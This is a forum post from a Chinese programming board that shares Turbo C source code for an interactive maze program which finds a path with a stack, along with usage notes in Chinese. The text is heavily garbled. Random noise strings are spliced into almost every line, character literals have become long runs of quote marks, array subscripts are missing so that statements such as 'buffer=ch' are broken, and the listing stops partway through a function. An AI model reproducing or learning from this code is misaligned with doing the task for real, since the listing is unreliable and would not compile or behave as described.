QQ登录

只需要一步,快速开始

 注册地址  找回密码
楼主: 韩冰
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>  T* H* o2 ~* d; N$ o0 n- r
< align=left>程序目的:& T4 Q# i* R& |
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并! x! H9 Y" w# A, h7 o* M$ K
显示在屏幕上。
, g9 V6 {, B( s* G  `6 ~6 C程序实现:$ S/ N2 @+ y5 z; H/ A/ a; \2 L# U
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的6 P/ O8 ~# g9 ?1 w# v) g
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
& S0 z) i$ m/ D入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
* \- |" {) R, i/ P! O$ q# G9 k+ Y6 h# c时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
! j1 \, w  @# s1 H- G4 U" j否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
6 Y+ ]3 S$ ]2 F* w# \& J" }  c用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以. N" F$ [- K* _$ [* j: k
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,1 e4 M0 Z, |9 W7 z' T
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
# v) f/ e- K; P  Q1 l' t  W) W# O; [3 h4 W程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
$ s/ l) F. G9 g1 N7 e) H不可以在VC上编译。9 f2 _# U- ]" m" t1 \9 D% b/ V
下载DOS版和windows版的迷宫游戏全部代码: H+ O0 s# u; J
用户名:migong ' c# w( |5 p4 z) a
----------------------------------------------------------------------------------
8 \1 ~1 W, @- p" g$ F  y" @; a/*
1 I3 f4 a1 J/ F$ H% b; |2 D/ UMazePath Demo BY Turbo C 2.0
) o( Y3 K' a, HCopyright(c) RoverUnion. All right reserved.
& X. U2 u! n! |# zFilename: Maze.c
# k- r* [0 W, x/ UAuthor Dongchengyu.9 C7 a8 |% M1 j3 ~
Ver 1.10# q/ Z; X3 W5 k$ }: [/ {5 V! |
*/
3 b) j) v) p7 H; S" w#include &lt;stdio.h&gt;. S% V0 \4 Y, z' D$ s
#include &lt;stdlib.h&gt;" e6 J2 ^6 @  |; C) D# O
#include &lt;malloc.h&gt;
6 P  @* B/ A$ ]% D#include &lt;conio.h&gt;
9 d- k$ p! t  q) x' d#include &lt;dos.h&gt;# l2 i& T; K6 @( g0 x$ v7 R" p
#define OK 1: F9 b% @6 j+ G. l; L
#define ERROR 0
' I/ N" u9 d; N#define TRUE 1( n# p- M% H( s) I1 `
#define FALSE 07 d& f$ Y  G4 R$ S
#define F9 0x43
9 M2 o. J. L7 _& F4 [5 _#define Esc 0x1b
: A1 ]  I% i5 c#define Del 0x53
7 `. O& }2 ~4 Y7 j; t& r0 D# ^#define Home 0x47  J8 P* W2 l3 J, X% M6 U5 K
#define End 0x4f- b0 i% {" s; L' b- I0 E5 a( f
#define Space 0x20
$ Q- Q: s8 J) k  k+ u#define Up 0x48) V# X1 l5 j" v% t/ g! r: k
#define Down 0x50/ Z; r7 l% b4 g; U$ C8 p5 P
#define Left 0x4b! y# L) @7 J* A4 r9 @6 p* @
#define Right 0x4d$ y/ e- }9 x( r
#define Enter 0x0d. g+ u+ N$ h. s) P) ?
#define F2 0x3c. K1 `4 ]/ F6 r  e, T% d
#define F3 0x3d
# @3 C& q! A( R#define STACK_INIT_SIZE 200" G7 H0 g( s1 P+ I+ [
#define STACKINCREMENT 10
; s$ o/ N0 U. A3 D% ?typedef int Boolean;' [  b0 s6 g$ A( R/ K. S, y
typedef int Status;; B& E3 m, h$ w# }
typedef struct {" G& l8 _  X1 k( c, p( s" r
int x;8 t2 Y( C' l/ q" C
int y;
# s7 e* Y9 k9 h* \; c" v} PosType;
9 J4 Z$ f# h0 }: |2 gtypedef struct {
, p1 q- j: u/ G; i( _2 {5 ]: o: gint ord;
# S$ n- @" h# H7 z- S6 M' ^! nPosType seat;; B1 s1 y5 b' T# C5 ^
int di;8 S; w6 h! B1 G8 T0 S
} SElemType;- I; I6 [- p3 X
typedef struct {1 r( ?4 r2 {- K3 b* q5 [
int td;' H3 ~7 G& J* n6 M; j
int foot;
# }! O/ k, r# @& |0 W2 `* Sint mark;
" K5 _1 M; E: m3 X} MazeType;- s* e! M; v. {! n6 v7 A* l' e( K
typedef struct {
: ^! ~7 L; |! uSElemType *base;
: J1 v8 d7 z* q1 \$ \SElemType *top;
! Q2 x7 p- V" L: P1 v5 Gint stacksize;
9 U- z! Q. K; h& s} Stack;" K8 [& k6 ~1 Q5 o8 l4 I: ~
int Maze[20][30];
/ B0 t3 x4 s+ u+ O& [& o# ZMazeType maze[20][30];: e! I6 r& p' ]  s- J) D
PosType StartPlace;
0 Z6 e0 @% R" [6 Y" ?  pPosType EndPlace;
7 a/ T# j% p& J1 p# Qint count;
+ |6 N& H$ q8 fint m,n;8 g8 T# m: t% C) p6 o
Boolean b_start=FALSE,b_end=FALSE;
9 E- a# d2 O5 Q; \1 E5 j8 zvoid CreatMaze(void);; n  B- S/ U& Z# Q: U" D
Status SaveMaze(char *filename);% T+ F) Y% ^& A  c: c) r6 m$ |3 W7 [! L: _
Status LoadMaze(char *filename);
* k3 c' U! r* ?. Avoid Error(char *message);2 q- x+ k/ p8 J2 E1 Y
Status InitStack(Stack *s);
1 b- a% G7 R: hStatus DestroyStack(Stack *s);! D& E  t3 f" l! B
Status ClearStack(Stack *s);
$ U/ q: ~) m5 @- H( p( P; B/ sBoolean StackEmpty(Stack *s);: b4 y& M5 D* [
int StackLength(Stack *s);
2 e, Z+ ]; ~! x" h! v/ {% H/ [) bStatus Push(Stack *s,SElemType e);6 E- k( k5 @0 K% A5 ~( w
SElemType Pop(Stack *s,SElemType e);
- E7 d4 a* f5 bStatus GetTop(Stack *s,SElemType *e);; q1 P) h9 t* S- P+ n4 [/ ~0 ]% C
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));" _$ ~  r" F6 K7 T
Boolean Pass(PosType curpos);
) q9 y% D! ]# J2 y; {6 A3 E, n4 Evoid MarkPrint(PosType seat);: c: c( J& P) v' O, p! f
void FootPrint(PosType curpos);
  O9 Y! L" t2 f9 _: C1 P$ @. l$ ZPosType NextPos(PosType seat,int di);2 Q" g) d3 O# H1 W$ U) x5 u
Status MazePath(PosType start,PosType end);
6 i- Z# T2 f8 s, yvoid CreatMaze(void)
# b5 i3 S# [* \( C. T/* Form the maze. */
$ L4 U: b. u: d3 ?. p{# G7 K/ k, d2 a
void Error(char *message);
& u9 B) d! q9 [7 g8 j( A+ G6 cStatus SaveMaze(char *filename);( h" I( Y* O/ @
Status LoadMaze(char *filename);5 `6 _) i& f4 a. C5 N8 D) V
int i,j;3 ]6 a4 C9 d1 k9 n
int x,y;6 L% o, ]: M8 S; N" d- U
char c;3 F5 j5 T0 V( Z! v" l( ^
char savename[12],loadname[12];* o+ @7 f/ ~0 k' W  K7 K6 [9 r6 Z
Boolean flag=FALSE,load=FALSE;; P$ i. k6 N5 [1 f# m7 Q. _
clrscr();$ d  S% |$ P7 h* J5 b
printf("Menu:\n\n");
5 @3 Z- l% L7 A1 P2 Lprintf("1.Load Mazefile*.dd)\n\n");+ `% W. v5 x6 o" P: h3 P
printf("2.Input Maze:\n\n");
4 T+ a# a2 z5 ]8 Wprintf("Input your choice: ");
  G2 x$ K7 B* X5 T% v4 jdo
/ g; {  G% B9 r) D7 a) B& s{& N5 ^( c7 v5 Q/ m* {7 G2 V
c=getch();
7 _0 U/ l6 D" C+ r+ d8 a/ C; Tswitch(c)
: o) \8 w  K* e' j! T/ q4 Q{
/ j  n$ Q* |8 t" s1 H# I; P, dcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
1 b3 i4 S: \0 h8 p6 acase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;2 U+ ]9 U- u  N* m* L
case Esc: sleep(1); exit(1);
: x4 S. C, Z7 B* \$ [6 Bdefault: break;% x  `/ x7 _8 l  ]' q, r
}
  q6 n* c- F  `}
+ l2 Y4 w+ u# Q6 \$ j0 nwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
- q6 T3 {# P% K) F( t9 V1 g, yif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
6 O0 D7 U6 r% D{; H# s* T5 Q# s2 o3 \3 @
printf("\n\nLoadName: ");
& q/ X. `$ ^& ascanf("%s",loadname);
2 M8 v4 ^- t$ r' ?8 j9 `; bif(LoadMaze(loadname))" T; ~& U2 d# e9 Q3 p, C
{2 K$ P3 a4 R% S7 @9 ^+ z  n5 n& Y
sleep(1); load=TRUE;, P$ v+ d+ f% M& }- x8 x
}5 {1 M/ f& ^  |7 Q: H8 q
else { gotoxy(1,9); printf("Load fail! "); }
# o/ p. |: I5 M4 A}
. T2 v* F5 V; h& [if(!load)
4 H! x) [7 ~( _, @: W0 M{
# @' p$ r# [' B# Sprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
7 f7 ~( i5 m; Wprintf("\nInput Length :\n");! h+ f+ w0 d8 b/ s
scanf("%d",&amp;m);3 M. L+ i2 p0 F7 Q
printf("\nInput Width :\n");
$ ~9 F" A5 a! ?4 ^" T/ iscanf("%d",&amp;n);
$ J2 F/ v/ Y. `% sif(m&lt;4||n&lt;4) Error("Input");
% M3 L$ k0 s% \  O. ?/ D& F) D  r0 Zif(m&gt;30||n&gt;20) Error("Maze too large");; o3 k0 H" B2 D# f
for(i=0;i&lt;30;i++)/ J. ?$ g0 J. C. P5 d2 k) d
for(j=0;j&lt;20;j++)
! \5 d8 p3 W  yMaze[j]=2;
# }% h1 k; A6 C  E: s' \7 C$ t& _StartPlace.x=0;
  m1 p; z% S% g9 MStartPlace.y=0;
' n8 h' i& N4 Z+ i  M8 fEndPlace.x=0;, @* C+ j6 `- \( ?( }
EndPlace.y=0;4 q# l  H" {, a! N7 K) P
clrscr();: z% P. u2 _! _
printf("\n");0 L" @* @: I- R- j1 g" W
for(i=1;i&lt;=n;i++)
2 _2 L, m/ |$ F! f* j$ r. D{9 U  c$ }5 E1 w4 G- O0 t# k
for(j=1;j&lt;=m;j++)6 c/ Q7 T& D! s4 S5 @
{$ k4 t. j8 Z7 x
printf(" #");5 c  s3 x, z5 c- N7 V6 C+ [
Maze[i-1][j-1]=0;
6 e% d8 X7 V1 t0 _  J}
) c- p. [$ b  c/ D$ l" sprintf("\n");& I+ d# O* V) p( D
}! V) d1 l9 s# v5 Q
}( r7 q" q8 A: T% a- \. ~
gotoxy(65,5);
) S/ Y( X; q0 ~9 a+ xprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
" f" Y8 X# u5 \9 ]% Pgotoxy(65,7);, C( x- _; N7 L8 i: b9 N
printf("Start:Home");
% \4 o( c2 g3 G: F% R9 Hgotoxy(65,9);
/ ^4 P2 N9 x6 a& d7 T! [4 l! yprintf("End:End");
/ `3 H; [4 O9 _, c; D( wgotoxy(65,11);; L& o, W5 V' P+ S8 S- }/ k
printf("Delete Wallel");* e- f9 o$ X! V, Y
gotoxy(65,13);
0 d7 T1 C8 X1 v  g) a% L/ Fprintf("Enter Wall:Enter");7 S& t2 ?: X! P' _, F
gotoxy(65,15);
' n+ e2 Z4 Z+ f9 N( P! O, Bprintf("Save Maze:F2");
/ p8 {- X( p. [" ]( u" k% l: wgotoxy(65,17);
- E2 U+ G! I6 P" K- W; aprintf("Complete:F9");. g. A! ?% B+ f; r6 e, T% D9 s6 i
gotoxy(65,19);
7 S% W6 ~* l& M4 O! H0 {printf("Exit:Esc");2 L0 p" a' S9 K, X
gotoxy(4,3);
5 [% U& q( j9 @$ t: }x=4;y=3;
. t' I. A% H, c2 F$ P* Vdo. j2 I2 g' w. j4 u: @
{# ?# o6 i# z2 X
c=getch();! u5 Y$ o% C) l- m- g! U4 h; P
switch(c)2 R8 h9 `" J" @2 Z" L
{9 Y3 s, |* R8 L) L. {3 j! B
case Up: if(y&gt;3) { y--; gotoxy(x,y); }& ]+ ^8 s% `! \$ K- t1 e
break;
; N. j2 H5 O! Q) N, _case Down: if(y&lt;n) { y++; gotoxy(x,y); }0 x/ P% D+ M1 F! I$ Z& @- n
break;
% ]" B6 K- d) {; Vcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
7 B: J9 V- d# J! c* \  lbreak;
& O7 d3 T" ~& Q- i4 ?) `+ ycase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }$ }0 ^# T/ H8 ?9 {+ S/ D
break;/ O# u9 h! l" U4 B$ w
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
" p% t5 x5 F, g3 L' Uif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;4 m, r: D8 p$ ^6 z
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);1 k2 i" i2 v, t# o! T# g8 f3 n
break;
5 A* o1 w+ `7 P  v/ `  T. Qcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;7 l7 Z: X6 ?  r' e, [6 W7 J' `
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
( l# z- B# Y% w% {putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);3 _* E! y( `# d5 ~) G- Q
break;
9 q9 E# R  y. o+ f  X# Ncase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)4 y' W2 q1 }1 J, E' T5 K
{
7 @- f( {/ t2 tStartPlace.x=x/2-1;
; e$ W6 M6 r9 o6 N8 W) B  u) hStartPlace.y=y-2;3 Q; U0 r% `8 o9 \
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
2 e5 I3 y8 j8 V5 _2 dgotoxy(x,y);
* Y( q2 d, H0 n( Z' q' p! \/ ub_start=TRUE;
" w' l- D# e- h7 n8 [}2 K2 u) f8 [& v. Q/ R
break;; J8 F) Y' L& ~  ]' P' J5 d
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
& F3 J& P4 Y  M+ @+ J9 A( R& _{
; W) Q8 U0 c! @8 [; O) A! sEndPlace.x=x/2-1;1 }9 p8 G4 {' Z; Q  u5 d
EndPlace.y=y-2;" o8 Q7 u2 U- h7 O) G5 x
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
$ i5 g. R5 Q& @  s6 J" V7 {gotoxy(x,y);2 l! ?0 {  v* I6 t' s2 S6 L" I& I6 u
b_end=TRUE;
' q$ l) u! q$ p% J1 |}) ?1 w2 d7 e5 Y2 K6 _
break;+ c9 |7 H& X& \* s8 D6 G6 b/ U: e
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
2 U% m; }1 Y9 J: h( Icase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;) ]3 p0 r0 I- Y* e* u: u. o* D
case F2: gotoxy(2,22);8 f/ N. T& u. y- T+ p0 [8 o
printf("Savename:");- d+ s- F0 f. Y3 t5 j+ t  ]
scanf("%s",savename);
3 @7 L, |' U. J6 G5 n$ Ogotoxy(2,22);- E  z( w; T  M. k# b, u
if(SaveMaze(savename)) printf("Save OK! ");, y8 ~; x+ R+ ^7 Y
else printf("Save fail! ");
* \. c# D! p' ksleep(1);+ Z! l/ V, A' s; x4 H6 j: d5 H
gotoxy(2,22);
* [6 L8 q$ {" d' {( E8 rprintf(" ");
$ y7 m! ^9 z5 g6 Y5 P! b. {$ i% vgotoxy(x,y);
0 p: Q6 P4 n9 Nbreak;$ M6 ^6 I6 }) T. o% Q! T, B7 S
default: break;4 ~- b5 h! i( m$ i0 `5 X
}
4 O) c; P  Q( ~- _2 L}0 b/ x8 ^, x$ v  p
while(!flag);5 A/ `/ m+ d$ {
for(i=0;i&lt;30;i++)
  ^0 l5 }& K% Z3 F# Dfor(j=0;j&lt;20;j++)1 b& Z% B* k9 a$ V
{3 i7 @, q( |9 w
maze[j].td=Maze[j];; [9 @; s2 E) U& K) }2 O
maze[j].mark=0;6 I! V/ L; H  S& ~+ t6 l7 p
maze[j].foot=0;4 F3 u6 H- F5 u, H
}
8 N5 x/ w5 b1 d( w* G8 Z}: {4 M8 C8 f1 L
Status LoadMaze(char *file)
) b3 E. i+ p7 ^9 U8 S/* The maze has been loaded. */
4 F1 E/ D" f& ?; X  o# b5 {( Z{( \( E$ g4 z" h
FILE *fp;
1 L. I0 ?3 O) K2 t$ ?* L. H: \char *buffer;& N6 o4 P- }7 I- y2 ?9 l  m3 O3 J7 W
char ch;2 p# e2 E, q, B
int i=0,j,k;0 l* b( ?4 M( I( _0 n+ p
Boolean len=FALSE,wid=FALSE;9 Y) \; S/ N6 e& s& G
if((fp=fopen(file,"r"))==NULL)
5 H6 W- A! F9 _" n/ R; l2 greturn ERROR;
5 j& \5 E7 j+ ~1 I) k* Ebuffer=(char *)malloc(600*sizeof(char));; z7 _% M( F! i8 l0 t3 K* b
ch=fgetc(fp);
! Q5 J3 r  p7 v1 i5 Fwhile(ch!=EOF)0 M5 _! H2 O, [) b& A
{
+ H" j6 q& m. Q; p" V7 q# g+ n- tbuffer=ch;
& i0 p' V0 V* P" d" ~i++;
/ H0 \7 o6 _/ Z0 o6 |6 ~; Fch=fgetc(fp);4 y2 d/ g7 B* y( v) H& k
}1 s& I, U# `! s2 B# K! S: N) t* p0 O
m=30;n=20;
& k6 L! Y3 w8 a1 v/ \for(i=0;i&lt;600;i++)
/ O, d, Z3 m; O+ A" S& B7 t7 N{
! p+ [! U/ Y1 D9 I  m0 U( `j=i/30; k=i%30;2 T8 K- I; [$ m1 G' E9 d0 T
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }4 c) ~4 r' ]4 c; Y# h+ G% k
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }, Z$ S' C/ R3 ?. Z7 `
switch(buffer)/ V9 l) ?9 d/ R" i& N! @4 }1 P
{
+ M$ p) G; U! Scase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;4 v& O- ^1 E8 r' C) C
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
- a! T; ?+ _7 c) ^( U4 [' gcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
& I) U/ W7 e* z6 W+ @$ o4 T  E; q; i5 [case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
8 H, U/ I7 `) DStartPlace.x=k;0 ^4 X0 r- w, p- {( W- P3 D6 s* E
StartPlace.y=j;! r+ Q" H/ Y9 E7 h
b_start=TRUE;
+ F, S7 B" ~0 ~% ^; p/ cbreak;! d: u+ r+ h. h* V) l
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
- P1 G; C" Z9 y* ]3 a, M3 t9 {EndPlace.x=k;
. ]9 D6 N- G" s) `$ n$ w6 x" zEndPlace.y=j;
" s8 G: G: @  C+ J5 E/ w) Eb_end=TRUE;
0 P4 P# F+ W- W+ [break;4 K) V: K7 y8 M
default : break;6 ]+ D- \1 U- i+ Z
}
9 W% I* \5 B; |* H) z. Y) x- ?! O! Y7 R}
" t1 B1 ~: M- I* @fclose(fp);
4 I8 Y/ t. @, G. i; _' o1 zclrscr();! }; V; t# Z& p' e" W
for(i=0;i&lt;30;i++)
/ G# x% g+ P4 L* ?9 ]+ }for(j=0;j&lt;20;j++)
$ M1 K4 S" X3 q" }% x{9 j& Y8 X5 L' D$ L
maze[j].td=Maze[j];0 H7 Z* j( l& g- V! m# m5 E
maze[j].foot=0;7 }& S$ j! \6 X' d6 ?
maze[j].mark=0;
- y8 E8 a% K# t7 d" n( Dif(Maze[j]==0)& X4 S! `% K; |6 u3 s+ @9 Q
{$ `1 g& ?, z8 X) i$ p
gotoxy(2*i+2,j+2);* {; H: V2 w' N1 t% I
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
* p+ `7 ]/ G% c}
* V1 k# d3 I! F1 Q! N% `7 ~}
# l8 @! ]8 [; B$ H( Vgotoxy(2*StartPlace.x+2,StartPlace.y+2);
7 \2 {# K5 [  ?3 fputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
1 t& H; @( S) ~5 o" |2 B. \. Cgotoxy(2*EndPlace.x+2,EndPlace.y+2);/ W. T% ]( j" r1 C
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');: \, W0 f4 Q! J. Q+ R$ s
return OK;
% h1 i% ]1 o. b( B5 F) g}) A- D6 D2 {; Y
Status SaveMaze(char *filename)
  \4 g7 H( `3 ^4 U( [. u/* The maze has been saved. */
# l; R% H, G. V{7 ]. `" G+ T. h1 e0 L, L7 d' g
FILE *fp;% d; p$ M; z4 F6 F2 x
char *buffer;7 F1 K) I: j1 Z
int i,j,k;
: |6 U7 E+ N; K; ifp=fopen(filename,"wb");
) `% P% `) G: S6 ?! _; P) T. obuffer=(char *)malloc(600*sizeof(char));
! @' h; j- Y" i. [5 n6 d$ W( o, {for(i=0;i&lt;600;i++)
0 [9 S3 s! N7 d+ z, a$ I$ L{* I. {' K7 `' J; w- |' T8 \9 F, Z
j=i/30; k=i%30;
9 K5 K) G, k" O1 n; L; W; Hswitch(Maze[j][k])
  {8 G- I6 S/ O& M{! x$ G0 m2 I4 h7 H$ B7 K  n! ?( i2 l
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
. m$ u4 ?4 M6 x' @; q4 vcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;& W  R, X8 G) Z3 S
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
3 {) [% ^6 q4 h. C% S2 A$ M, adefault : Error("Write"); break;9 ^/ n, h" o6 A$ J4 W
}0 Y+ ]: |* P0 f& X* u, A
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
( X6 S, e. n5 G: T7 w% q, |if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';1 T+ K+ t* n+ H# B  B; D" W8 H1 e1 v
}
: I# O6 y- Y5 v4 {$ R9 Dfwrite(buffer,600,1,fp);
( b1 X# x/ m0 A* hfree(buffer);7 B$ n6 b! i( O4 k
fclose(fp);
2 f0 Y, V4 z* ?3 P+ w9 r4 [return OK;
8 L3 Z' v! W1 K( {% [}; `1 ]9 _1 L) C) V% E
void Error(char *message)
/ V6 r' o: z1 N- h# w4 |4 f0 |{
# f8 K* g% X+ b5 o, W2 _clrscr();  A8 ^' ?5 U2 C* N! U  P6 v% k7 s
fprintf(stderr,"Error:%s\n",message);& R3 F% t  e. j) ]  i* F
exit(1);- W! n& v4 B5 M. {5 u
} /* Error */4 W0 c  j- B( K

+ r7 K- d' s" N: _$ y/ z" I% mStatus InitStack(Stack *s)
, ?% j$ e* \) J/* The stack s has been created and is initialized to be empty. */: q1 F- e$ A/ X: @: e$ x8 p0 E1 L: @
{
7 \' o( l, |5 h3 o* o  g; C  as-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
' D- l( p2 S5 `1 Q6 Bif(!s-&gt;base) Error("Overflow");
! l+ o4 q8 z' z, Cs-&gt;top=s-&gt;base;5 i, g2 W+ B1 H+ o* k( Q
s-&gt;stacksize=STACK_INIT_SIZE;
& q) X; \# `. ?/ w0 a7 o3 [4 Kreturn OK;
# t0 J" W7 a: a} /* InitStack */3 O( ]. U# p6 o1 g3 a
Status DestroyStack(Stack *s)# \: ?5 ^( p& _, d  J) i
/* The stack s has been destroyed. */3 B( D6 m) h; |
{- Y5 @/ s! Q; K. H/ t6 _8 ~0 m" Z
s-&gt;top=NULL;% o/ b2 y2 p% E3 P) e2 v  Q! S/ Y
s-&gt;stacksize=0;
3 P& B. e: S+ E' efree(s-&gt;base);! W' y  T3 X* L+ `* D2 f
s-&gt;base=NULL;
" F/ k# B: ~- p7 }2 \- Vreturn OK;! _3 D9 i4 X. A. G, W$ L, s
} /* DestroyStack */* k9 P4 }! H$ h) {' o$ ?
Status ClearStack(Stack *s)8 \' t7 ]' \1 N- D( k7 x" c8 B
/* The stack has been clear to be maximum. */( b5 m: s$ ^0 }/ [( ^7 \
{
  u! {$ U  b' \, O; ~s-&gt;top=s-&gt;base;
$ R. \# L4 _$ Y9 F' h9 a" e6 ]s-&gt;stacksize=STACK_INIT_SIZE;$ J1 I6 u- r7 T3 k" w
return OK;5 j% w. o% E8 G
} /* ClearStack */2 _4 H' |. r* I5 _/ u
Boolean StackEmpty(Stack *s)
( c6 c( H. b; g/* Check if the stack s is empty. */
1 [, a+ ]1 S2 l( B{
$ @8 m2 [7 S3 h# `" |) W7 tif(s-&gt;top==s-&gt;base) return TRUE;* h! @0 c( U: K
else return FALSE;
% A/ t  O5 n( J1 J} /* StackEmpty */
$ [( \& T  c" {" U: I6 E, p7 ]* sint StackLength(Stack *s)
, ~  I9 n+ `& |4 r6 o/* Gain the length of the stack s. */- C+ e3 H8 h  F6 `' r( P$ L
{( i8 e1 Z9 p; G" k1 u  y
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);5 p: X$ ?. Q" w6 ]0 C& M
else return 0;8 o: I' Q% h. m& ~2 o
} /* StackLength */
* c) H2 v! T+ qStatus Push(Stack *s,SElemType e)
. f/ `' c& o6 l" m3 X/* The element e has been pushed into the stack s. */) v+ {5 s8 w* V& m4 D9 _
{
( d1 w) N9 g+ D6 j, z9 iif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
1 a7 u( N1 B6 ~{
) f* q# `2 M! _s-&gt;base=(SElemType *)realloc(s-&gt;base,, f2 X0 [7 }* B2 \
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));9 |/ I+ m0 g+ Q9 `. u" d1 A
if(!s-&gt;base) Error("Overflow");
4 j) d0 `1 q! b* p" D  W1 Hs-&gt;top=s-&gt;base+s-&gt;stacksize;
/ f6 q+ x# y* c# I( N, l; es-&gt;stacksize+=STACKINCREMENT;
" T' Q0 V+ m# P' L; L( M}) [# ~# B) }4 Y  ^8 p4 M6 Y5 E
*s-&gt;top++=e;
. ~* W* U$ }# l- D$ _2 oreturn OK;
% z3 G' x" M9 S" `0 d: G, I8 l3 x} /* Push */
4 l- i& [+ B& n: wSElemType Pop(Stack *s,SElemType e)4 Y% |1 R7 B3 Y* t8 K: d
/* The element e has been removed from the stack s. */! x$ m1 o$ `; j1 M, `% m4 o0 z
{0 |, G  P0 ]: M2 x: }; q1 |: o" W
if(s-&gt;top==s-&gt;base) Error("op");
( b6 v0 Z6 u2 q' S' a; Ye=*--s-&gt;top;
) M* [8 h* P8 @  @/ w& Lreturn e;0 s* d, p, a& [/ M; }/ X9 \
} /* Pop */& l8 `0 ?* f* D1 F2 W) E
Status GetTop(Stack *s,SElemType *e)
9 C4 X1 m( G* e* g/ _6 v8 }5 w/* The element e has got to the top of the stack s.*/
$ \; r& ]/ e2 M$ [- t: D{
9 o7 S  d4 _: Lif(s-&gt;top==s-&gt;base) Error("GetTop");6 u7 z2 i' a& S& Z2 \
*e=*(s-&gt;top-1);
& G& L5 l# J7 I4 i3 Jreturn OK;
3 x( t" \  ]" t- g8 [& T& G& J} /* GetTop */
, D2 T4 ^8 S+ ~. }/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */1 c/ `* |% `' _9 v/ ^. U  W: {
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
0 M5 l* n7 R+ Z{
' V4 s: `$ t7 eSElemType p;
# `2 a3 q: J5 e4 V! \int result;& m5 _6 v" t" ~6 i6 ]+ i! Z
if(s-&gt;top==s-&gt;base) return ERROR;% `, K% Y; Y, f' i: u9 U, P0 E
p=s-&gt;base;
8 W; s8 C. t0 j# t1 U, Ewhile(!(p==s-&gt;top))
3 ~  R& b2 Z; h* x; p{
4 E- z" o7 A: W; }5 F( q- Xresult=(*visit)(p);& n0 R0 j" k3 ?1 \' M3 d/ o
p++;: l3 h% i* U( ]) A# `2 M( ~
}8 [! v! ~) G9 P. ]- C" J. O+ M* d
return OK;
9 A* H+ ?/ b% A1 w0 x  @4 P, h} */
  p  v7 e. z, {$ e9 XBoolean Pass(PosType curpos)/ d4 C8 L' G. f9 K* k) x( h8 |
/* Check if the current position can be passed. */
3 i: q' K  r2 O8 }. b{/ g+ w* X" M$ D0 w; `
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
6 p# x9 O3 K3 [2 V" [0 x9 e, nmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
